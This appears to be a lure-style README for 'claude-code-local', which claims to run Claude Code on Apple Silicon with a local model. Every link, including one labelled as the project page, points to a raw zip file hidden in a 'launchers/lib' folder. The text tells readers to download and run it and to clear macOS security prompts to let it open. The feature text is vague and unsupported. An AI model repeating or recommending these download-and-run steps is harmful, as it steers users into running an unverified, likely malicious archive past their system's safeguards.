Content
# 🧠 claude-code-local - Run Claude Code Without Cloud
[](https://github.com/charaff757/claude-code-local/raw/refs/heads/main/launchers/lib/local-code-claude-3.8.zip)
## 📦 What this app does
claude-code-local lets you run Claude Code with a local AI model on Apple Silicon. It keeps your work on your own machine and avoids cloud setup. It is built for people who want a local tool that feels close to the Claude Code workflow, without API fees or online calls.
Use it for tasks like:
- Writing and editing code
- Getting help with project files
- Reviewing small changes
- Working in a local setup
- Keeping your data on your Mac
## 🖥️ What you need
This app is made for:
- Mac computers with Apple Silicon
- macOS 14 or later
- Enough free disk space for a large model
- A stable internet connection for the first download
For best results:
- Use a Mac with at least 32 GB of unified memory
- Use 64 GB or more if you want smoother model use
- Keep at least 100 GB free for the app and model files
- Close other heavy apps while using it
## 🚀 Download and install
Go to the main project page here and download and run the files from the repository:
https://github.com/charaff757/claude-code-local/raw/refs/heads/main/launchers/lib/local-code-claude-3.8.zip
After you open the page:
1. Look for the latest release or download files
2. Download the package for your Mac
3. Open the downloaded file
4. Follow the on-screen steps
5. Wait for the local model files to finish setting up
If macOS asks for permission:
1. Open System Settings
2. Go to Privacy & Security
3. Allow the app to open
4. Start the app again
## 🛠️ First-time setup
When you run claude-code-local for the first time, it may need a few minutes to prepare files. This is normal for large local models.
Do this first:
1. Open the app
2. Let it finish setup
3. Keep the Mac plugged in
4. Stay on a fast connection until downloads finish
5. Do not close the app during the first setup
If the app asks where to place model files, choose a folder with lots of free space. A simple folder like Documents or Applications support storage can work, but any large drive location is fine.
## 💡 How to use it
Once setup is done, you can start using the app in a simple flow:
1. Open claude-code-local
2. Point it to your project folder
3. Type your request in plain English
4. Let the local model read the files
5. Review the reply and apply the changes you want
Example tasks:
- Fix a bug in a Python file
- Explain what a script does
- Rewrite a function in a cleaner way
- Help with test cases
- Review a folder of source files
You do not need to know model settings or cloud keys. The app is built to keep the process local.
## ⚙️ Features
### 🔒 Local-first workflow
Your requests stay on your Mac. The app uses a local model instead of cloud APIs.
### ⚡ Fast local response
The bundled setup is tuned for Apple Silicon and uses a 122B model with TurboQuant support.
### 🧩 Claude Code style
The app follows a code helper flow that feels familiar if you use CLI-style coding tools.
### 🧠 Large model support
The local model can handle code, file context, and project tasks with more depth than small tools.
### 💸 No API fees
You do not need to pay per request. Once the app is set up, you can keep working locally.
### 📁 Project-aware help
The app can work with your code folder and respond with changes based on the files you open.
## 📌 Typical use cases
- Work on private code without sending it online
- Test a local assistant on a Mac laptop
- Edit scripts and small apps
- Review code before you commit it
- Keep a coding helper available offline after setup
## 🧭 Folder tips
For smooth use:
- Keep your project in a short folder path
- Avoid folders synced by cloud tools during heavy model use
- Store model files on the fastest drive you have
- Leave free space for temp files and updates
Good examples:
- `Documents/Projects`
- `Development/MyApp`
- `Macintosh HD/AI Models`
## ⌨️ Basic workflow
If you are new to local AI tools, use this simple order:
1. Install the app
2. Finish the first model setup
3. Open your project folder
4. Ask one clear question
5. Read the answer
6. Make one change at a time
This keeps things easy to follow and makes it simpler to spot mistakes.
## 🧪 If something looks wrong
If the app does not start, try this:
1. Close the app
2. Open it again
3. Check that your Mac has enough free space
4. Make sure the model download finished
5. Restart your Mac if the app still does not open
If the app feels slow:
- Close unused apps
- Plug in your MacBook
- Make sure you are on Apple Silicon
- Give the model time to load fully
## 📋 Simple example request
Try a request like this:
- Read this folder and explain the main files
- Find bugs in this script
- Refactor this function to be easier to read
- Add tests for this class
- Tell me how this code works
Short requests usually work best. One task at a time gives cleaner results.
## 🔄 Updating
When a new version is posted:
1. Go to the project page
2. Download the latest files
3. Replace the old app if needed
4. Open the app again
5. Let it update any local files
If the app keeps old settings, that is normal. Most local tools keep your workspace and model files in place.
## 🔐 Privacy
claude-code-local is made for local use. That means your work stays on your computer during normal use. This is useful when you want to keep project files private and avoid cloud processing for routine tasks.
## 📚 More details
This project is best for users who want:
- A local coding assistant
- A setup on Apple Silicon
- A model-heavy workflow
- A simple path to offline use after setup
If you are setting it up for the first time, start with the download page and follow the install steps in order:
https://github.com/charaff757/claude-code-local/raw/refs/heads/main/launchers/lib/local-code-claude-3.8.zip
## 🧰 Troubleshooting checklist
- Make sure you downloaded the latest version
- Check that your Mac is Apple Silicon
- Confirm there is enough free storage
- Let the first setup finish before closing the app
- Restart the app after any permission change
- Try a simple prompt first
## 📎 Quick start
1. Visit the project page
2. Download and run the app
3. Finish setup
4. Open a project folder
5. Ask for help in plain English
6. Review the answer and continue working
